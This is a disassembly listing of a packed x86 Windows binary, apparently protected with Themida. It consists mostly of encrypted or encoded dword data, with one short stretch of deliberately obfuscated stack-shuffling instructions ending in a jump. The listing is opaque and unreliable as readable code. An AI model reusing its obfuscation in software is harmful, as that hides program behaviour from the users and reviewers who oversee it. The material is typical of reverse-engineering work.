		dd 3041DABAh, 676BA435h, 378B4E4Fh, 0A4E59ECAh,	635CF86Bh
		dd 0A63A2892h, 8FE5215h, 3DCE9A67h, 0F142827Ah,	0D6206453h
		dd 0FE081C9Dh, 3BCAAB74h, 48C3E0BAh, 1A4FAh, 969A300h
		dd 8CDE2438h, 1159A7BBh, 93D52C40h, 1A58AEC2h, 0A28F3449h
		dd 293D0E64h, 0B1C596DAh, 374B1C54h, 6DCFA0C8h,	0BDF88C28h
		dd 15733046h, 9E2DD9C5h, 106F88Fh, 0D9AA3BB6h, 5D2E3AC5h
		dd 0AD56AA0Fh, 90C90AC3h, 0B073748Ch, 3CC4A95Ch, 0A3E49D2Eh
		dd 0C37CF40Fh, 3AD64982h, 34102001h, 0AE3AF384h, 30411416h
		dd 8622A5EAh, 304113F2h, 0D11940D8h, 40E38EC9h,	0AD4DE17Dh
		dd 3FD03041h, 85E175AEh, 0A7D039DCh, 0B72C6Fh, 0D92E0000h
		dd 2B7F4226h, 98D992D6h, 2F83F65Fh, 9EDF98D0h, 8DE52165h
		dd 5F548D4h, 847B2A2Ch,	0FF13E4h, 8622A568h, 2A2CFDF2h
		dd 3AA3DC6Dh, 5A1D1E36h, 102E65BEh, 8657E834h, 0D6999AB2h
		dd 6B07FF53h, 0E9CCA632h, 0BE4F3A27h, 135FA7FBh, 9AD82E42h
		dd 0BAEDEAD1h, 0F644BFE0h, 0B9h, 23F47E8Eh, 0A677F30Fh
		dd 2BFC6E92h, 0AD7EEA17h, 34056D99h, 798DFA1Fh,	0EF1428F9h
		dd 699CB081h, 0DD223607h, 1358BA8Bh, 46BEE377h,	0B8086630h
		dd 0F78B27AAh, 722A2CF9h, 0BAB64DE1h, 0A9C93D81h, 2D3BC4D8h
		dd 7EEF166Ah, 0EE2FE882h, 2B63A45Dh, 0E479BDB6h, 94154E4Bh
		dd 4226D946h, 0AEBA4589h, 0BB469ADDh, 0CF3074ADh, 285C899h
		dd 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh, 0FE304863h, 31358935h
		dd 0BE8FD926h, 108E837Bh, 0E03AEAE1h, 0CC9C63A7h, 1F4BB509h
		dd 0C8397DE6h, 0A9BFE7A0h, 3659ACDh, 0E0E11E32h, 0E61C3A49h
		dd 0CC556D2h, 8BEh, 61A5F900h, 0AB5AD811h, 3F33D91Bh, 0ABBD4286h
		dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh,	0D1976AAEh
		dd 3E2CD418h, 0A9C14185h, 8951EAF0h, 4C181E1h, 83000000h
		dd 0C8704E9h, 3C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	1BCEh
		mov	[esp], edx
		push	ebp
		mov	ebp, 619B0AAh
		push	ebx
		mov	ebx, ebp
		mov	esi, ebx
		pop	ebx
		pop	ebp
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		dw 9E52h
		dd 0BE5A9917h, 2012AF5Bh, 93B84350h, 30619C6h, 1DE0FFC5h
		dd 13284306h, 0D8153663h, 3039EA4Ah, 0DC0378F1h, 0E16C6215h
		dd 0A510BFACh, 0E937D299h, 0DF7BDFE1h, 4F019F8Bh, 0AD0ACB39h
		dd 0AA7A276Bh, 6C74DB8Ah, 0CF7EA29Bh, 0AE25C532h, 0AC0BD7E8h
		dd 0BA01F82Fh, 0FE6C8907h, 926D34D9h, 486E4FE1h, 80088AE7h
		dd 0CD49DF91h, 5138CA74h, 5C096FD1h, 62DAAD0h, 0C37B2CBh
		dd 0CC10A487h, 8D100E11h, 19C8838Dh, 8E906h, 798D0000h
		dd 699FE2CCh, 8D896847h, 6143229h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 49C35242h, 0B6B60AB8h, 72DEEB81h
		dd 89606BA4h, 1425158Dh, 615B5006h, 64D85C7h, 5D9C0614h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0D4F9F2C3h, 85C7CE3Fh, 6142671h, 0
		dd 10E8h, 22352400h, 9F2CA278h,	0F394CE33h, 0FBFF6158h
		dd 8F8CB838h, 0FF5F3674h, 1406A5B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C129A97Eh
		dd 8B66A47Bh, 0FF08BD8h, 68Eh, 25B58900h, 0FF06141Ch, 14236195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0FD852999h, 6A06141Ch, 6995FF00h
		db 11h,	14h
word_5A5462	dw 8B06h		; DATA XREF: Themida_:0054B0F4o
		dd 9A1EEBC0h, 6C8D6CD0h, 2616538h, 59FE23B9h, 0A6509D0Ah
		dd 928DE23Ah, 0EE494035h, 36E745DDh, 0CE8FAh, 46380000h
		dd 1F6E797Fh, 648579F4h, 0B9667757h, 0B55B4E45h, 89C381C2h
		dd 0BE00006Dh, 0
		dd 0C7816660h, 95299433h, 614069Dh, 1E34FF61h, 5AC0B70Fh
		dd 68F0F60h, 0F000000h,	89h, 0E8C0F00h,	0E9000000h, 9
		dd 9561CE16h, 0A0AF9972h, 0C2816159h, 582A25F4h, 2B45B501h
		dd 0C2810614h, 3E9535A0h, 0FF58D8Bh, 0EA810614h, 43CAADB4h
		dd 6605B966h, 6860F52h,	89000000h, 140B7985h, 33048F06h
		dd 11659589h, 11E80614h, 5E000000h, 20A02002h, 0B8E8159Eh
		dd 9F975DA3h, 0DBB6F9F4h, 0EE815FF5h, 6B4A6AF5h, 3435B531h
		dd 0C6810614h, 6B4A6AF1h, 65E08060h, 8A312AB9h,	0FE81617Fh
		dd 0FFFF9344h, 0FF5F850Fh, 0D1BFFFFFh, 0E92BF6A3h, 32h
		dd 6CE8EDF0h, 0Bh dup(0)
		dd 0EFE90000h, 6800000Bh, 619CB45h, 0FB7D05E9h,	0CC4868FFh
		dd 0FBE90619h, 68FFFB7Ch, 619CE01h, 0FB7CF1E9h,	0CED968FFh
		dd 0E7E90619h, 68FFFB7Ch, 619D1C3h, 0FB7CDDE9h,	0D33168FFh
		dd 0D3E90619h, 68FFFB7Ch, 619D43Dh, 0FB7CC9E9h,	3D35D7FFh
		dd 0C0AA586Ch, 4525DBEFh, 0C7A16074h, 4E24E2F6h, 0D6B3687Dh
		dd 5D714230h, 0E5F9CAA6h, 6B7F5020h, 0A103D494h, 0C32CC05Ch
		dd 51AF3046h, 4226D901h, 94D42B7Fh, 51AEF25Bh, 5A724617h
		dd 11FA9659h, 5434102Ah, 896B085Ch, 75AEAA84h, 4CD89122h
		dd 3041D5B4h, 1D442288h, 6FA7F47Ah, 516Dh, 0E0267A00h
		dd 5F98D992h, 119E1h, 9B71453Dh, 66FAAF04h, 0D516CF99h
		dd 0FC980B44h, 3410ABC3h, 97C35C6h, 4FEB4DB5h, 30418FBBh
		dd 0E31CAD3Eh, 418FBF57h, 0BBB25130h, 0DD96274Bh, 49026699h
		dd 0DA80E64Ah, 1D442288h, 6FA7B27Ah, 0EB6Dh, 26D96F00h
		dd 0C1458942h, 4BB4F8B1h, 0DF20641Dh, 0F275B889h, 2CF9C256h
		dd 73AC3D2Ah, 2C05B2E7h, 2F39C62Ah, 0B3B54A5Eh,	0F18F87FAh
		dd 0B082A4C0h, 0A5BDC1FAh, 7445E1A4h, 0F9341025h, 0ABC39768h
		dd 6E93E7AAh, 0B24EC1FAh, 3A27CD50h, 5AE41FB3h,	2FA52ABEh
		dd 8314A52Ah, 2ADB2FF2h, 179A0D46h, 0F22A3EC3h,	6E036E52h
		dd 2B6FA85Ch, 80D497DBh, 891DB985h, 42A2F0Dh, 4129E273h
		dd 44319062h, 0D40D9E26h, 0ABC73F53h, 0BA0AE3E2h, 5FAD28E0h
		dd 9C8h, 0B384EE1Eh, 3607639Fh,	0BB8CDE22h, 3D0E5AA7h
		dd 0C495DD29h, 0E91D0AAFh, 5FA4B889h, 0D92C4011h, 4DB2C697h
		dd 0A3E84A1Bh, 46C47307h, 4898F630h, 7D9E2DD9h,	603C182Eh
		dd 7E9263F4h, 4D22E481h, 9728B9B9h, 0BA8680D4h,	2D508A1Eh
		dd 0E374052Ah, 0FFB8B04Fh, 0B60485BEh, 3D000119h, 102068A1h
		dd 0A35CED34h, 41137F17h, 160E5330h, 3E32B663h,	0E97DB683h
		dd 3F41E48Dh, 0D2346FA7h, 36000000h, 0F78B27AAh, 0DD2A2CF9h
		dd 0EC25F86Eh, 27BB5E6Eh, 0CA0394DCh, 36EF7986h, 9B5E14F2h
		dd 0ECAFBB47h, 2D40BC50h, 75AE3F2Ah, 4D4B800Ch,	0E21D2A2Ch
		dd 5EA1B586h, 6D3D2263h, 5CED010Fh, 86879FA3h, 0D85627C3h
		dd 3ACB3410h, 2DD22669h, 0E9A2C838h, 1D5E17A8h,	0C7C8E0E4h
		dd 58F76804h, 0D66A3A28h, 0EDB0412Fh, 42056D99h, 1D5614EEh
		dd 0FC05599Ch, 3972B36Ch, 986111F5h, 0E0BA034Bh, 0C59BE964h
		dd 21000008h, 0A2B687EBh, 25390A60h, 0AABE8FDBh, 2C401157h
		dd 0B2C798DAh, 8CE6200Dh, 145CA7BBh, 9AD62F43h,	1E4AB5C9h
		dd 0AA6EB4Dh, 3046C576h, 0AA4B9BF9h, 478376B2h,	2F68CB2Eh
		dd 94571BEBh, 8304C540h, 0C0990E51h, 38B9F283h,	0BC8DDB24h
		dd 3F26D96Eh, 8F0A9C1h,	9A6D7C1Ch, 5EEF80A0h, 82BC479Bh
		dd 2D8F52E6h, 0AB3CCD2Ah, 1B55AEF2h, 57902162h,	1055AAEEh
		dd 18E97AF0h, 0EC8481D5h, 0B5B9F233h, 3DD99C9Dh, 3410B4A4h
		dd 9BDF9829h, 1F330464h, 43CF88E0h, 0CDB4B3D1h,	6DFA7CD0h
		dd 0F105D692h, 0C0A8570Eh, 0ED186C2Fh, 55E14A83h, 0BFBDA5BCh
		dd 4FE5295h, 24FC2E66h,	8DD927B9h, 0B1A6C054h, 35491A4Eh
		dd 59E59ECAh, 0BFBDE236h, 5F086E44h, 0E3F7C8A0h, 20934C1Ch
		dd 7A3335CCh, 488C0139h, 0D33A59DFh, 7D7E969Ah,	0CF9966BAh
		dd 0EDA6CA3Bh, 7D0073ACh, 798DD829h, 6EFF40F9h,	8ED0A935h
		dd 0C4559E7Fh, 912DB0F3h, 96A882FDh, 0B2B6EF80h, 53D6999Ah
		dd 0A88323B7h, 0DC15A696h, 0A180CD69h, 5CEDA08Bh, 947E17A3h
		dd 0EE12949Ch, 867FC37Ch, 1D731EAh, 3DA3F565h, 57ABFF39h
		dd 0FDA0DA13h, 0F0D402B2h, 487h, 2658C4F2h, 0AE4A0D0Eh
		dd 34101FEDh, 0B80CCF60h, 2A6B244Eh, 3C3469F1h,	6888D1CDh
		dd 0F83E29E9h, 0EFA67CB4h, 0D0D15D96h, 841370EEh, 0CA86B6Ch
		dd 0EEBFD6Fh, 4C50099Ah, 9CD63034h, 4E11A2E3h, 0E03427B2h
		dd 2E726A10h, 0A0885F03h, 65F64982h, 38CB1FA2h,	0E9A2CE35h
		dd 1D5E17A8h, 95FA0E4h,	8DDB2438h, 6382ADC4h, 4D9B163Ah
		dd 70Ch, 6F4032DAh, 0F2C3A75Bh,	774822DEh, 0F9CA9E63h
		dd 805121E5h, 2DD9B66Bh, 0A3607445h, 1DE8FCCDh,	916E8253h
		dd 5FA406D7h, 46C82FC3h, 0FC4CAA30h, 894226D9h,	0DEAFBB45h
		dd 0CBC0h, 56AAF000h, 5FF38FAFh, 0DA2A2CF9h, 0BEFFB849h
		dd 68628185h, 6344D59Bh, 3335CC20h, 52DBA1FAh, 0DC30086Eh
		dd 0E77B1727h, 622A2CF9h, 468740D1h, 0F953E783h, 45D62A2Ch
		dd 182FD20Ch, 42226993h, 24000000h, 4003FA19h, 2CFA0BA4h
		dd 44FD8E2Ah, 9869FF00h, 1CEA7B84h, 80CC556h, 902CEFF0h
		dd 341037F3h, 43D773F6h, 0C630412Bh, 18A9FC35h,	7FF75D5Fh
		dd 0A7434FF2h, 7426Fh, 0CF440000h, 0E0h, 119FFh, 0E08A13Dh
		dd 0FC8D3410h, 0AC181233h, 0A2F06BE6h, 634h, 47185AB2h
		dd 0CA9BCF33h, 4F204AB6h, 0D1A2C63Bh, 582949BDh, 55B19E43h
		dd 0CB384C1Dh, 45C0D4A5h, 0B9465A2Bh, 377CDEAFh, 46C8079Bh
		dd 0D4248230h, 1CAD56AAh, 0AD18807Dh, 3DF687A3h, 0CF6008F9h
		dd 7C739296h, 0F23B729Bh, 6609680Eh, 596993B7h,	4Dh, 0FA195Bh
		dd 18DB6C06h, 0ABBF4195h, 41D5B1F2h, 0BC2A2CFAh, 61F5F32Bh
		dd 0C2554AA0h, 0DCCFF889h, 68096D51h, 699389C5h, 20B8h
		dd 0FA19BA00h, 8BF92203h, 67B8BEA2h, 2A2C01D0h,	0B154A86Bh
		dd 0AA4C86BFh, 9B699320h, 0FFFFFEC6h, 0FA199Dh,	6CB069FFh
		dd 0DB1CD593h, 0AFD8B94Ah, 0F27458D5h, 0D69A3E36h, 644D123Bh
		dd 954EF12Bh, 78416993h, 43000002h, 8C452DD9h, 0C1429619h
		dd 0D9B5F6AFh, 2A2CFA45h, 0BAFE37C8h, 0DB5E2147h, 2CF9AB3Fh
		dd 649D2E2Ah, 224EB7FBh, 8EDA2569h, 0DF97ADD5h,	60F17788h
		dd 12452175h, 7C0FD7F4h, 4531082h, 788EA273h, 253D41FAh
		dd 74C56124h, 0F934106Dh, 33CF9E65h, 5C15A637h,	0E0581E34h
		dd 5D2DC15Dh, 47BF3041h, 8E31722Bh, 8680C4FDh, 5C8A1EBAh
		dd 74053041h, 8FE12E3h,	8D25B16Ah, 64304069h, 3838CD21h
		dd 2D0B6BFFh, 20197535h, 8281F60Ch, 0E0245DEEh,	677B4C26h
		dd 161AD39Fh, 0BD06FAFEh, 0A13B1698h, 0F98A1BE0h, 19399A36h
		dd 144C3A24h, 69CEC5C3h, 7410D32Bh, 2A2D8CE0h, 6839CA5Bh
		dd 382FD125h, 0A6E7A0CAh, 0C0D8DC15h, 8760FCBFh, 8A341097h
		dd 89972BC7h, 81123041h, 2AD92DF0h, 53E78346h, 0D6304189h
		dd 30A30C45h, 0A4325DCh, 4189EA7Eh, 1155B930h, 0AA6D6E86h
		dd 2494350Eh, 0D6A7383Ah, 0E30C9B93h, 911E9A87h, 346CFD75h
		dd 6305033Ch, 5CA0D9BFh, 0AE02C5A3h, 1B5C1553h,	0B20679E2h
		dd 21651E54h, 91D28BDFh, 0DA13D00h, 902A2D81h, 7D82C6FFh
		dd 2E461AEBh, 0EFE76A2Dh, 0D553FC00h, 8824E7C4h, 2A2DF2F4h
		dd 21ADE677h, 34112338h, 0E7732CBDh, 3041C24Fh,	8F4820E1h
		dd 0F9B2B64Bh, 8AD096FAh, 9494D238h, 73ACC640h,	0A7E19639h
		dd 49896Fh, 198B0000h, 0BA3D0001h, 2CF98A1Eh, 3B74052Ah
		dd 1FF32CC8h, 0E5763410h, 8DCB2A22h, 0DE97D12Eh, 0C693659Dh
		dd 5CED7B86h, 962EBA23h, 6A3041F7h, 0CEC66204h,	2EBD2F38h
		dd 7F88C83h, 2E67A861h,	0A7CF51F4h, 0B0446Fh, 0D9460000h
		dd 45894226h, 2750AC1h,	0B80540F8h, 0D52A6E27h,	0C8D8D093h
		dd 5919ED20h, 22275FA0h, 0EA538C42h, 8BDF2377h,	77F10E52h
		dd 0F20F63A6h, 7CB13D76h, 102A2C78h, 0D4A879EFh, 5CF8BBBCh
		dd 34142C65h, 79EF10A4h, 0AAA225E8h, 0ED9183C4h, 0CA0E4748h
		dd 5165363Ch, 0C9F4BDB5h, 0E2E6AE69h, 34A1967h,	709C0000h
		dd 0E51D3102h, 60A0B485h, 0DC25390Ah, 5FA7BB8Ch, 882D4213h
		dd 36076B9Bh, 0BE8FE122h, 44155BAAh, 0C899CF30h, 0F1852166h
		dd 6C3046CAh, 2DD9BE0Eh, 0CF4BC69Eh, 18A9378Fh,	99CC3347h
		dd 0AF720367h, 4CCC89B7h, 3C751043h, 26D96DBBh,	0BA458942h
		dd 0D98FDDAEh, 0FC7F4226h, 2CF9CC60h, 85BE4F2Ah, 4127D81Ch
		dd 0CB5FFB7Eh, 0B92A2CF9h, 1CFBAE58h, 0AA3BDEBAh, 41CF071h
		dd 0BBA44003h, 3E341117h, 60F81506h, 89782C81h,	4BD4EDFh
		dd 4153E078h, 284EB430h, 0A772A649h, 7FF536Fh, 3871B26Bh
		dd 2A0Bh, 1190D00h, 68A13D00h, 0CD341020h, 141AAE4Ah, 4953041h
		dd 2EE778CBh, 41140AA2h, 0FE78DE30h, 0A736D073h, 0E3C36Fh
		dd 0D9C50000h, 45894226h, 0B4F8B1C1h, 65A1D4Bh,	78B97200h
		dd 6D92D63Fh, 64E72AFBh, 2CFA34C8h, 0ED26B72Ah,	2C062C61h
		dd 0A6BF402Ah, 1758115Fh, 0C1EA6EDFh, 9B2C11F6h, 1F49B6CAh
		dd 6FF9085Ch, 0D33C75B6h, 4DB3B7CFh, 2DC98C1Dh,	34105ED4h
		dd 4F1BE539h, 0C91C5596h, 7B936738h, 0FF18AC48h, 2933040h
		dd 1912AE71h, 5C3A27B6h, 52B408CBh, 0CB3B4F20h,	0C256F275h
		dd 3D2A2FABh, 0AC3CD0ACh, 302A2A2Fh, 0DC4FFD37h, 0AB470AADh
		dd 2A2F0417h, 0DF700192h, 0BA1E1116h, 0F543BEE0h, 1DCh
		dd 9F70020Ah, 22F3778Bh, 0A778F20Eh, 29FA6E93h,	0B081F115h
		dd 0FD09669Bh, 7390A475h, 0ED182CFDh, 619EB283h, 8FD43607h
		dd 46CC5FF3h, 2C7CDA30h, 0C2B056AAh, 0B1C14589h, 3533CCE0h
		dd 33CD2164h, 43D7E37h,	0AD56AA86h, 9CD42FC3h, 6569A2E3h
		dd 0ED894C4Dh, 34101FB4h, 0E26528B9h, 4113B246h, 639C2D30h
		dd 13D66EFAh, 44AA3041h, 54B20622h, 8A98C777h, 50E1BE3Bh
		dd 0E31D5697h, 6FA80040h, 7FEDF5EDh, 9BB3A198h,	0C83562h
		dd 0D9370000h, 45894226h, 1580AC1h, 672048B9h, 3343EE26h
		dd 8EDA25B9h, 1FE63AFDh, 1E579851h, 23BF42B5h, 2A2D048Fh
		dd 0B440790Ah, 2A2C117Fh, 0A172F609h, 3DF6728Dh, 5D202139h
		dd 103968C1h, 8B5CED34h, 0DB9E9FB7h, 27F4653Fh,	985BEC3Ah
		dd 0E27EC244h, 2A2F844Eh, 0ECAF40D1h, 7DED1569h, 2F850DA1h
		dd 40D4702Ah, 0BB2A2F85h, 0BDF6872Ah, 94DE283Ch, 0BA9F4CCBh
		dd 3C8A05E0h, 0D0h, 0AB7CF616h,	2EFF6B97h, 0B384E61Ah
		dd 3506629Fh, 0BC8DE521h, 0F11572A7h, 679CB081h, 0E1243809h
		dd 55AABE8Fh, 9BE04213h, 46CD6BFFh, 4090EE30h, 0E09E2DD9h
		dd 0B541B5D5h, 45592ABBh, 68EBAEBAh, 2DE738CCh,	0E922B32Ah
		dd 26D91A68h, 0C572CA9Bh, 0E475D147h, 1E18E72Bh, 2DEEEE82h
		dd 4FE0712Ah, 0A0CA388Ch, 0EC6DA6E7h, 7FC0018h,	7915D869h
		dd 3417C460h, 289B54E5h, 863F31D4h, 37C80C45h, 0B34C6031h
		dd 659EF2B5h, 0DD69D20Bh, 0A5566E79h, 0E97EF84Ch, 0C50AB16h
		dd 12C19823h, 639CB081h, 0B56E0402h, 0E62AE374h, 928A4D1Bh
		dd 39DE0EAFh, 0E14A8337h, 94C3A3B9h, 182CFD6Bh,	7AC881E7h
		dd 0Ch,	2C4FBDB5h, 0A6E37606h, 1BABEF6Dh, 863F33D9h, 0F2ABBD42h
		dd 601957AEh, 0D089E71Ch, 3FF87A8Ch, 0AE670BFBh, 18D1976Ah
		dd 853E2CD4h, 0F0A9C141h, 6B4568EAh, 2C890000h,	0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68241489h,	31EBh
		dd 56243489h, 0D63B5DBEh, 0F2A3BA59h, 0F2315FCFh, 8124348Bh
		dd 4C4h, 348B5400h, 4C48124h, 53000000h, 8F53D389h, 0FF5B0846h
		dd 835E2434h, 148B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 0FB7129E9h, 0DD53A9FFh, 1EB73298h, 32B87B2Ch, 30619D5h
		dd 36E0FFC5h, 8167FFEBh, 2253669Ah, 0CC44873Eh,	9D658793h
		dd 8D2E3E80h, 19D6A88Dh, 298D8906h, 6A061432h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 5738C353h, 217ABEEBh, 0E9AEDBA0h, 6,	0C2D53E0Dh, 85C7C95Ah
		dd 614064Dh, 63BCh, 0C7C2BF0Fh,	14267185h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0F45C7F43h, 9E8h, 0E52DAA00h, 0E915F935h, 7E830AFh
		db 3 dup(0)
byte_5A6227	db 60h			; DATA XREF: Themida_:0054BDFCo
		dd 0C3AC2D3Bh, 9D8B8A3Dh, 61408FDh, 0B5FF5E5Bh,	614220Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 90C35040h
		dd 0E8C848EAh, 13h, 216A6840h, 0E45C0F30h, 9D29BDBEh, 6BDD0CCDh
		dd 5A0EAB3Eh, 236195FFh, 9D890614h, 614321Dh, 95FF006Ah
		dd 6141169h, 7EEBC08Bh,	0B654AC30h, 0B06DFC88h,	270F81CDh
		dd 417F9EAAh, 8392BBA0h, 0D639AEB2h, 989057D7h,	7217916Fh
		dd 4B45593h, 899326F9h,	0E28E2120h, 2E3D3F99h, 0E8292E83h
		dd 0FF98F5Ch, 173B728Fh, 5C15AA6Ch, 32D4162Ah, 0C9604BBh
		dd 0FE9AB1FCh, 26F83472h, 39B8B6Ch, 5A44D694h, 393F35FBh
		dd 8BB6A915h, 0E0895315h, 72A7D01Bh, 2662D283h,	0A9302B36h
		dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 0C08BC646h, 77C28166h
		dd 0B1BD833Dh, 61430h, 0BD830975h, 6141AE1h, 50197400h
		dd 0B8C08B53h, 3FCh, 1A498589h,	9D8D0614h, 616B73Ah, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535017h, 3FCh, 1A498589h, 9D8D0614h
		dd 616B429h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0E4C35343h, 3729F714h, 56A276BBh, 6AC08B69h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 105EC357h, 0CDBD83D6h, 1061412h, 0BD840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 10E929C3h, 0DE000000h, 7D2A0D75h,	7094B5C4h
		dd 5CEB2E3h, 663BC382h,	0B789EA81h, 1B0DBD83h, 0F000614h
		dd 7A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0A3554051h, 0CE9h, 2DF4B300h, 0D511BFBFh
		dd 6834E28Bh, 9BD83EEh,	61423h,	98840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0DE2F0EC3h, 41919141h, 7E8h,	9B5A6400h, 794527D0h, 5A81F680h
		dd 58A0Fh, 81660000h, 0E91CE5F2h, 498h,	0DE960h, 156C0000h
		dd 315B180Eh, 0F4A49B4Eh, 0FF058ACh, 61D2BFh, 66000000h
		dd 6A042ABAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 9DC4C355h, 0E9D18B66h,	12h, 9DE983DFh
		dd 5794420Dh, 3C022227h, 85D46F95h, 7FCEC451h, 0CCB86556h
		dd 2287BC8Fh, 0CA68BCE6h, 95F7E3C5h, 0CE3EC06Ch, 0CE29F864h
		dd 0CA86BCFFh, 1680EBA2h, 0EB918F2Ch, 46DF731Bh, 0CA68BCE6h
		dd 47E23783h, 0DD56AE60h, 9B0DD6E3h, 0CA86BF0Dh, 91A9CE5h
		dd 0EEED35BCh, 0EE943DE1h, 0CA68A1E1h, 965FDE5h, 0F7D06759h
		dd 1548F9EEh, 357A692Eh, 9843D635h, 0CAA1BF0Dh,	98A9CE5h
		dd 0EE3C35BFh, 0EE703DE1h, 0CA1AA6E1h, 95FFEE5h, 7775FB6Fh
		dd 0AC1A11E9h, 28216D6Eh, 0CC033DBDh, 2339D9D6h, 0CA34B9EEh
		dd 224ABC8Fh, 0CA0DBCE6h, 9245E4C5h, 0CE67F86Ch, 0CE85F864h
		dd 0CAD0BCFCh, 16ABECA5h, 52D8077Fh, 0CA1455AEh, 0EE2ABCE5h
		dd 7CEEF0F4h, 46E506A1h, 0BB34FADBh, 155BEBB7h,	223DE7BFh
		dd 0CA34BCE5h, 73F73DB8h, 0A00BA53Ch, 0C96EE9E5h, 0EA43BCE5h
		dd 43FC7FB8h, 4BD49889h, 0D06C98A1h, 8F34BCE5h,	3DB07FB0h
		dd 54349A8Ah, 4BE0EC69h, 901B7E3Fh, 0A0783783h,	0C938EBE5h
		dd 0EA68BCE5h, 436B7FBAh, 4B1E9899h, 0D60998A1h, 8D86BCE5h
		dd 85CC7FB2h, 8EB14038h, 0AAB2CF09h, 7D677D6Eh,	0D8DDDD24h
		dd 0B51ABCE5h, 8A1B42B3h, 0FC6CC2C5h, 0AA0D0862h, 0AB8F5702h
		dd 9A103790h, 0CA7A5585h, 7C1CBCE5h, 3F019FE1h,	0E4D72CECh
		dd 0E16D6E47h, 8811172h, 0CAA138EAh, 91B1BCE5h,	793AECB5h
		dd 4105B3C4h, 4342E63Dh, 0DBE498E1h, 2886BCE5h,	0FC2B70DAh
		dd 2AD630D0h, 3D3AA59Ch, 0A3697DCAh, 0EE78BDEAh, 0B8A0DA1Bh
		dd 0CA67E403h, 0CA8554B0h, 9763BCE5h, 0A628E126h, 8E51B8C1h
		dd 0CA70B8C1h, 9F71BCE5h, 3B2A5F26h, 0C608612Ah, 4086BCE7h
		dd 0A04B3730h, 0C949EDE5h, 0EAD0BCE5h, 43317FBCh, 4B3098A9h
		dd 0DE1E98A1h, 8B0DBCE5h, 70D17FB4h, 0BE1518AFh, 36E93783h
		dd 2280BC8Fh, 0CA68BCE6h, 92F7E4C5h, 0CE3EF86Ch, 0CE29F864h
		dd 0CA86BCFFh, 0B580ECA5h, 0D6E852D8h, 15507313h, 0CA69046Ah
		dd 0CA5EBCE5h, 0CA1954B6h, 912DBCE5h, 960FE726h, 8EC2B8C1h
		dd 0CAB6B8C1h, 9993BCE5h, 0F444C26h, 0CA3955E7h, 0AE4BCE5h
		dd 0AF4FAAFh, 438BA6DAh, 71C9BB0Fh, 0C53E8714h,	0CADB5574h
		dd 9DA0BCE5h, 0F13FB75Eh, 0EB86F58Bh, 9D6DECD7h, 59EE0483h
		dd 0CA5155BBh, 0A079BCE5h, 51705D14h, 0F42A6323h, 29DD8DD9h
		dd 7200CC90h, 0C6E52D84h, 0F486BCE5h, 507738FAh, 1D7A3B46h
		dd 361E6827h, 13E4DABFh, 0D8DDEFB6h, 5F1ABCE5h,	750B1D23h
		dd 78162D3Bh, 0CF597B08h, 590DE1F3h, 3C8BE60Ah,	4F67B824h
		dd 0CA34BDC5h, 224FBC8Fh, 0CA0DBCE6h, 9745E1C5h, 0CE67D06Ch
		dd 0CE85F864h, 0CAD0BCFCh, 9EABE9A0h, 289B97C6h, 9BCF0695h
		dd 0A054A037h, 0C96EEBE5h, 0EA43BCE5h, 43FE7FBAh, 4BD49899h
		dd 0D76C98A1h, 8D34BCE5h, 0BEB77FB2h, 9767B0C1h, 0CE630E7Dh
		dd 9A9C0BEAh, 0CAB531EAh, 0C539BCE5h, 4268BCE5h, 1B3C5635h
		dd 0D4723846h, 87E8497Ah, 4ADDC8D6h, 4F4CD4DCh,	0CAA1BC0Ah
		dd 0B35B656Fh, 39E9DAE4h, 35B508B3h, 4A1ABCE5h,	0CAD43EEAh
		dd 0CAECBCE5h, 0CA4054B6h, 9181BCE5h, 9659E726h, 8EE9B8C1h
		dd 0CA29B8C1h, 9959BCE5h, 25B0C026h, 4C8F5F78h,	0AAFBC760h
		dd 0CAA03EEAh, 9B28BCE5h, 0AC395464h, 0AB6AE3EFh, 12B23922h
		dd 0CA0CBAFCh, 41E0BCE5h, 0CAFD5534h, 0CACBBCE5h, 0CAD354B2h
		dd 9548BCE5h, 0B6BDE326h, 8E9BB8C1h, 0CA16B8C1h, 9DC1BCE5h
		dd 94068626h, 3E40C12Ch, 0F6BDA4Eh, 0CA0D55FCh,	0CA5EBCE5h
		dd 0CA1954B7h, 902DBCE5h, 9E0FE626h, 8EC2B8C1h,	0CABBB8C1h
		dd 9892BCE5h, 0CA64A626h, 0BEF9C97Bh, 0ACCB37BCh, 3506C566h
		dd 0CAB338EAh, 0CA29BCE5h, 0CAA254B0h, 97F0BCE5h, 0A6E1E126h
